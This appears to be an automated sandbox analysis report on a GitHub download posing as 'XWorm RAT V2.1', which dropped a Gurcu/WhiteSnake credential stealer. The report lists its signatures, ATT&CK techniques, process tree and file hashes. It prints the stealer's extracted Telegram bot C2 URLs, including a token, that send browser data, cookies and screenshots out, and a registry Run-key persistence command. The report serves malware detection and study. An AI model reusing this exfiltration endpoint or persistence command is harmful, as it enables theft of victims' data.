Overview

overview

10

Static

static

1

URLScan

urlscan

https://github.com/I...

windows11-21h2-x64

10

Analysis

  • max time kernel
    207s
  • max time network
    203s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    16-12-2024 02:17

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    https://github.com/Intestio/XWorm-RAT/releases/tag/xworm

Score
10/10
gurcuagilenetdiscoverypersistencespywarestealer

Malware Config

Extracted

Family

gurcu

C2

https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/sendDocument?chat_id=2024893777&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0.25%20kb)%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%84%20-%20BrowserDownloads.txt%20(0.23%20kb

https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/sendMessage?chat_id=2024893777

https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/sendDocument?chat_id=2024893777&caption=%F0%9F%93%B8Screenshot%20take

https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/getUpdates?offset=-

Signatures

  • Gurcu family
    gurcu
  • Gurcu, WhiteSnake

    Gurcu aka WhiteSnake is a malware stealer written in C#.

    stealergurcu
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 3 IoCs
  • Obfuscated with Agile.Net obfuscator 1 IoCs

    Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

    agilenet
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 5 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
    discovery
  • Suspicious use of SetThreadContext 4 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
    adwarespyware
  • Modifies registry class 47 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • NTFS ADS 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://github.com/Intestio/XWorm-RAT/releases/tag/xworm
    1⤵
    • Enumerates system info in registry
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1464
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff8e9be3cb8,0x7ff8e9be3cc8,0x7ff8e9be3cd8
      2⤵
        PID:3948
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1860,5456473669570776641,10441449401356135552,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1896 /prefetch:2
        2⤵
          PID:4404
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1860,5456473669570776641,10441449401356135552,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:4220
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1860,5456473669570776641,10441449401356135552,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2780 /prefetch:8
          2⤵
            PID:4488
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1860,5456473669570776641,10441449401356135552,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3328 /prefetch:1
            2⤵
              PID:1688
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1860,5456473669570776641,10441449401356135552,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:1
              2⤵
                PID:1452
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1860,5456473669570776641,10441449401356135552,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3016 /prefetch:8
                2⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:3024
              • C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1860,5456473669570776641,10441449401356135552,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5616 /prefetch:8
                2⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:1628
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1860,5456473669570776641,10441449401356135552,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5876 /prefetch:1
                2⤵
                  PID:4292
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1860,5456473669570776641,10441449401356135552,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5896 /prefetch:1
                  2⤵
                    PID:4912
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1860,5456473669570776641,10441449401356135552,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5828 /prefetch:1
                    2⤵
                      PID:4832
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1860,5456473669570776641,10441449401356135552,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5852 /prefetch:1
                      2⤵
                        PID:4312
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1860,5456473669570776641,10441449401356135552,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6244 /prefetch:1
                        2⤵
                          PID:2168
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1860,5456473669570776641,10441449401356135552,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6940 /prefetch:8
                          2⤵
                          • NTFS ADS
                          • Suspicious behavior: EnumeratesProcesses
                          PID:4232
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1860,5456473669570776641,10441449401356135552,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2948 /prefetch:2
                          2⤵
                            PID:2416
                        • C:\Windows\System32\CompPkgSrv.exe
                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                          1⤵
                            PID:1672
                          • C:\Windows\System32\CompPkgSrv.exe
                            C:\Windows\System32\CompPkgSrv.exe -Embedding
                            1⤵
                              PID:2208
                            • C:\Windows\System32\rundll32.exe
                              C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                              1⤵
                                PID:764
                              • C:\Users\Admin\Downloads\XWorm-RAT-xworm\XWorm-RAT-xworm\XWorm RAT V2.1\XWorm RAT V2.1.exe
                                "C:\Users\Admin\Downloads\XWorm-RAT-xworm\XWorm-RAT-xworm\XWorm RAT V2.1\XWorm RAT V2.1.exe"
                                1⤵
                                • System Location Discovery: System Language Discovery
                                • NTFS ADS
                                PID:4684
                                • C:\Users\Admin\Downloads\XWorm-RAT-xworm\XWorm-RAT-xworm\XWorm RAT V2.1\Command Reciever.exe
                                  "C:\Users\Admin\Downloads\XWorm-RAT-xworm\XWorm-RAT-xworm\XWorm RAT V2.1\Command Reciever.exe"
                                  2⤵
                                  • System Location Discovery: System Language Discovery
                                  • Checks processor information in registry
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious behavior: GetForegroundWindowSpam
                                  • Suspicious use of FindShellTrayWindow
                                  • Suspicious use of SendNotifyMessage
                                  PID:3068
                                • C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe
                                  "C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • NTFS ADS
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1480
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp6724.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp6724.tmp.bat
                                    3⤵
                                      PID:724
                                      • C:\Windows\system32\tasklist.exe
                                        Tasklist /fi "PID eq 1480"
                                        4⤵
                                        • Enumerates processes with tasklist
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4900
                                      • C:\Windows\system32\find.exe
                                        find ":"
                                        4⤵
                                          PID:3476
                                        • C:\Windows\system32\timeout.exe
                                          Timeout /T 1 /Nobreak
                                          4⤵
                                          • Delays execution with timeout.exe
                                          PID:4536
                                        • C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe
                                          "C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe"
                                          4⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          • Checks processor information in registry
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          • Suspicious use of SetWindowsHookEx
                                          PID:2992
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdater /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe /f
                                            5⤵
                                              PID:2364
                                              • C:\Windows\system32\reg.exe
                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdater /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe /f
                                                6⤵
                                                • Adds Run key to start application
                                                • Modifies registry key
                                                PID:3800
                                    • C:\Windows\system32\wbem\WmiApSrv.exe
                                      C:\Windows\system32\wbem\WmiApSrv.exe
                                      1⤵
                                        PID:1696
                                      • C:\Users\Admin\Downloads\XWorm-RAT-xworm\XWorm-RAT-xworm\XWorm RAT V2.1\Command Reciever.exe
                                        "C:\Users\Admin\Downloads\XWorm-RAT-xworm\XWorm-RAT-xworm\XWorm RAT V2.1\Command Reciever.exe"
                                        1⤵
                                        • System Location Discovery: System Language Discovery
                                        • Checks processor information in registry
                                        • Suspicious use of FindShellTrayWindow
                                        • Suspicious use of SendNotifyMessage
                                        PID:1964
                                      • C:\Windows\system32\wbem\WmiApSrv.exe
                                        C:\Windows\system32\wbem\WmiApSrv.exe
                                        1⤵
                                          PID:908
                                        • C:\Users\Admin\Downloads\XWorm-RAT-xworm\XWorm-RAT-xworm\XWorm RAT V2.1\XHVNC.exe
                                          "C:\Users\Admin\Downloads\XWorm-RAT-xworm\XWorm-RAT-xworm\XWorm RAT V2.1\XHVNC.exe"
                                          1⤵
                                          • Loads dropped DLL
                                          • System Location Discovery: System Language Discovery
                                          • Modifies registry class
                                          • Suspicious behavior: GetForegroundWindowSpam
                                          • Suspicious use of SetWindowsHookEx
                                          PID:2284
                                        • C:\Users\Admin\Downloads\XWorm-RAT-xworm\XWorm-RAT-xworm\XWorm RAT V2.1\XHVNC-Client.exe
                                          "C:\Users\Admin\Downloads\XWorm-RAT-xworm\XWorm-RAT-xworm\XWorm RAT V2.1\XHVNC-Client.exe"
                                          1⤵
                                          • Executes dropped EXE
                                          • Adds Run key to start application
                                          • Suspicious use of SetThreadContext
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:3616
                                          • C:\Windows\explorer.exe
                                            "C:\Windows\explorer.exe"
                                            2⤵
                                            • Boot or Logon Autostart Execution: Active Setup
                                            • Enumerates connected drives
                                            • Checks SCSI registry key(s)
                                            • Modifies Internet Explorer settings
                                            • Modifies registry class
                                            • Suspicious behavior: AddClipboardFormatListener
                                            • Suspicious use of AdjustPrivilegeToken
                                            • Suspicious use of FindShellTrayWindow
                                            • Suspicious use of SendNotifyMessage
                                            • Suspicious use of SetWindowsHookEx
                                            PID:4948
                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" MCYZ44 127.0.0.1 8000 P6DN52
                                            2⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:4640
                                        • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                          "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                          1⤵
                                          • Modifies registry class
                                          • Suspicious use of SetWindowsHookEx
                                          PID:3040
                                        • C:\Users\Admin\Downloads\XWorm-RAT-xworm\XWorm-RAT-xworm\XWorm RAT V2.1\XHVNC-Client.exe
                                          "C:\Users\Admin\Downloads\XWorm-RAT-xworm\XWorm-RAT-xworm\XWorm RAT V2.1\XHVNC-Client.exe"
                                          1⤵
                                          • Executes dropped EXE
                                          • Adds Run key to start application
                                          • Suspicious use of SetThreadContext
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:3928
                                          • C:\Windows\explorer.exe
                                            "C:\Windows\explorer.exe"
                                            2⤵
                                            • Modifies registry class
                                            PID:2924
                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" MCYZ44 127.0.0.1 8000 P6DN52
                                            2⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:752
                                        • C:\Users\Admin\Downloads\XWorm-RAT-xworm\XWorm-RAT-xworm\XWorm RAT V2.1\XHVNC-Client.exe
                                          "C:\Users\Admin\Downloads\XWorm-RAT-xworm\XWorm-RAT-xworm\XWorm RAT V2.1\XHVNC-Client.exe"
                                          1⤵
                                          • Executes dropped EXE
                                          • Adds Run key to start application
                                          • Suspicious use of SetThreadContext
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:4884
                                          • C:\Windows\explorer.exe
                                            "C:\Windows\explorer.exe"
                                            2⤵
                                            • Modifies registry class
                                            PID:4716
                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" MCYZ44 127.0.0.1 8000 P6DN52
                                            2⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:3780
                                        • C:\Users\Admin\Downloads\XWorm-RAT-xworm\XWorm-RAT-xworm\XWorm RAT V2.1\XHVNC-Client.exe
                                          "C:\Users\Admin\Downloads\XWorm-RAT-xworm\XWorm-RAT-xworm\XWorm RAT V2.1\XHVNC-Client.exe"
                                          1⤵
                                          • Executes dropped EXE
                                          • Adds Run key to start application
                                          • Suspicious use of SetThreadContext
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:4036
                                          • C:\Windows\explorer.exe
                                            "C:\Windows\explorer.exe"
                                            2⤵
                                            • Modifies registry class
                                            PID:2820
                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" MCYZ44 127.0.0.1 8000 P6DN52
                                            2⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:4836

                                        Network

                                        MITRE ATT&CK Enterprise v15

                                        Reconnaissance

                                        Resource Development

                                        Initial Access

                                        Execution

                                        Persistence

                                        Boot or Logon Autostart Execution

                                        2
                                        T1547

                                        Active Setup

                                        1
                                        T1547.014

                                        Registry Run Keys / Startup Folder

                                        1
                                        T1547.001

                                        Privilege Escalation

                                        Boot or Logon Autostart Execution

                                        2
                                        T1547

                                        Active Setup

                                        1
                                        T1547.014

                                        Registry Run Keys / Startup Folder

                                        1
                                        T1547.001

                                        Defense Evasion

                                        Modify Registry

                                        4
                                        T1112

                                        Credential Access

                                        Credentials from Password Stores

                                        1
                                        T1555

                                        Credentials from Web Browsers

                                        1
                                        T1555.003

                                        Unsecured Credentials

                                        1
                                        T1552

                                        Credentials In Files

                                        1
                                        T1552.001

                                        Discovery

                                        Browser Information Discovery

                                        1
                                        T1217

                                        Peripheral Device Discovery

                                        2
                                        T1120

                                        Process Discovery

                                        1
                                        T1057

                                        Query Registry

                                        4
                                        T1012

                                        System Information Discovery

                                        5
                                        T1082

                                        System Location Discovery

                                        1
                                        T1614

                                        System Language Discovery

                                        1
                                        T1614.001

                                        Lateral Movement

                                        Collection

                                        Data from Local System

                                        1
                                        T1005

                                        Command and Control

                                        Web Service

                                        1
                                        T1102

                                        Exfiltration

                                        Impact

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\XHVNC-Client.exe.log
                                          Filesize

                                          1KB

                                          MD5

                                          94aaadf8fa4c31d238b961fcb2a519d5

                                          SHA1

                                          608175ecf723861c59796d3989fee3dfdf3bb6d2

                                          SHA256

                                          744cf26c0641b62c0daa1d5508613d6f1417778c242d3d79220121f70f9515b5

                                          SHA512

                                          574d80ffabd249da41a8c4618123aa2e88595cf3ac55b9e3e4c2dd2a3c2cee52c954119f5ed54d36941da78a4bc1963cdaa7dfdd4f19d3c1e954ced86deafecf

                                          Download Submit

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                          Filesize

                                          152B

                                          MD5

                                          3d68c7edc2a288ee58e6629398bb9f7c

                                          SHA1

                                          6c1909dea9321c55cae38b8f16bd9d67822e2e51

                                          SHA256

                                          dfd733ed3cf4fb59f2041f82fdf676973783ffa75b9acca095609c7d4f73587b

                                          SHA512

                                          0eda66a07ec4cdb46b0f27d6c8cc157415d803af610b7430adac19547e121f380b9c6a2840f90fe49eaea9b48fa16079d93833c2bcf4b85e3c401d90d464ad2f

                                          Download Submit

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                          Filesize

                                          152B

                                          MD5

                                          c03d23a8155753f5a936bd7195e475bc

                                          SHA1

                                          cdf47f410a3ec000e84be83a3216b54331679d63

                                          SHA256

                                          6f5f7996d9b0e131dc2fec84859b7a8597c11a67dd41bdb5a5ef21a46e1ae0ca

                                          SHA512

                                          6ea9a631b454d7e795ec6161e08dbe388699012dbbc9c8cfdf73175a0ecd51204d45cf28a6f1706c8d5f1780666d95e46e4bc27752da9a9d289304f1d97c2f41

                                          Download Submit

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                          Filesize

                                          1KB

                                          MD5

                                          d1b5ef80cc283cf35e25ad9627f60a95

                                          SHA1

                                          a99793a87f43e18202bf086bf293a0ed22b07859

                                          SHA256

                                          9eb3ab7ff3aa3c5cb862d657c233e51d390cff623136cc94c14878ca6b6cd3b0

                                          SHA512

                                          c2190e3e9b9a9b08a6383772edc3858898985471c549b781032634d1bd9309e42d41bf8b4a6aad87fd8a9737fa899b69b95294090d82639afef8aaa5374aae42

                                          Download Submit

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History
                                          Filesize

                                          116KB

                                          MD5

                                          402ba7e32a6806858be4d306e7051b25

                                          SHA1

                                          24cd6338b1cf9855bdf439266c9396fe724fe3e5

                                          SHA256

                                          f50c998e69e6a80d87be07fed555dc3f61fd6de968aa82630ddd1544f8cc166d

                                          SHA512

                                          183e80469d25f65fdff3d3262f7b1c62ac231e1161833526840285040fe6491b0f0d712217d31d18f4fa3fcc68695bdb8e71bd3ff0df9f00f347a2d324990d89

                                          Download Submit

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
                                          Filesize

                                          573B

                                          MD5

                                          94716db8a4f3d9b64b6c3234c31ab99e

                                          SHA1

                                          212ef4fb095c5d4f3f7cf7ffb3d4bdbd175b270f

                                          SHA256

                                          31b69e06e12f39d0cf66a18d7ae456a451f7a085d6adc5891f4268771dc2398e

                                          SHA512

                                          1f6cacaa86694623245f1e1b70252b319c7ffac2fb554a038f780242216ff197e0ec38a6f28aad8bf142c25ed9cd05f23516dd9b5b03a811ed6eb40daf4c2d0e

                                          Download Submit

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                          Filesize

                                          5KB

                                          MD5

                                          083615cd2675d75dfab4984118d6a00d

                                          SHA1

                                          a17538120b433500e9fa0b94e5361c46184b4800

                                          SHA256

                                          82dfe11341c47cad189d9ff80926306a65fce1dafcf946af7878b6107e8c87e6

                                          SHA512

                                          9e9b5023d3dc431a0c533a50a5e80afe6f8554eca897f0ecdaa8e1c31fd536569e21b23364e46222bb97275696e28163c59aa47492783731b1005f634f390791

                                          Download Submit

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                          Filesize

                                          6KB

                                          MD5

                                          0e6d256038264c6db446c3bdfe9ac558

                                          SHA1

                                          35ee74dc9c1912167cf420583a62077797b48f42

                                          SHA256

                                          f1cacfa365f2432b8f74dabda3d3793ca4e826027980674bacbdb77e5b71d919

                                          SHA512

                                          bb90c050bbf6af80abf62bc5ea8fb5b7523e0c4698d3e831cfb1b7917feb2337e60fe1797153bea1cd2b7f2cca397981d3604fa3b516a0633f73b08b111b5dd3

                                          Download Submit

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
                                          Filesize

                                          1KB

                                          MD5

                                          d3374bff2827db2811506f4992908eda

                                          SHA1

                                          c72f7da184d9e7b2b10ebf15c70a693e1a89c621

                                          SHA256

                                          f38eb55553a9ebca48983be5c935cefd8d97a3c4bd9268a2c315e49f92bd4a4c

                                          SHA512

                                          a5a7ebe11c853db5af10131c060d90c6277188d3db84dd132d35da8f4f85bef54022b99239ae9e96adacd4ea98821a3437bc486071552346705bf07816fcbb97

                                          Download Submit

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe5d35d8.TMP
                                          Filesize

                                          872B

                                          MD5

                                          390bdb819c1081382ae09f90336a284d

                                          SHA1

                                          be0e1bf6cf609ce656a3d5da085c840ef8224052

                                          SHA256

                                          f3a63dd24185dc39bb0d3ecc8fbcb7ef690a72c67c65442c1479edb6e7ff8765

                                          SHA512

                                          d8789551545e86a2157d3d5ff3171f51d3004965929d26548fac887023291d9d35b6cc9e2efde11768c98b6505a1301b59a1027c08a338d9420183ac093ceb9b

                                          Download Submit

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
                                          Filesize

                                          16B

                                          MD5

                                          46295cac801e5d4857d09837238a6394

                                          SHA1

                                          44e0fa1b517dbf802b18faf0785eeea6ac51594b

                                          SHA256

                                          0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

                                          SHA512

                                          8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

                                          Download Submit

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
                                          Filesize

                                          16B

                                          MD5

                                          206702161f94c5cd39fadd03f4014d98

                                          SHA1

                                          bd8bfc144fb5326d21bd1531523d9fb50e1b600a

                                          SHA256

                                          1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

                                          SHA512

                                          0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

                                          Download Submit

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                          Filesize

                                          11KB
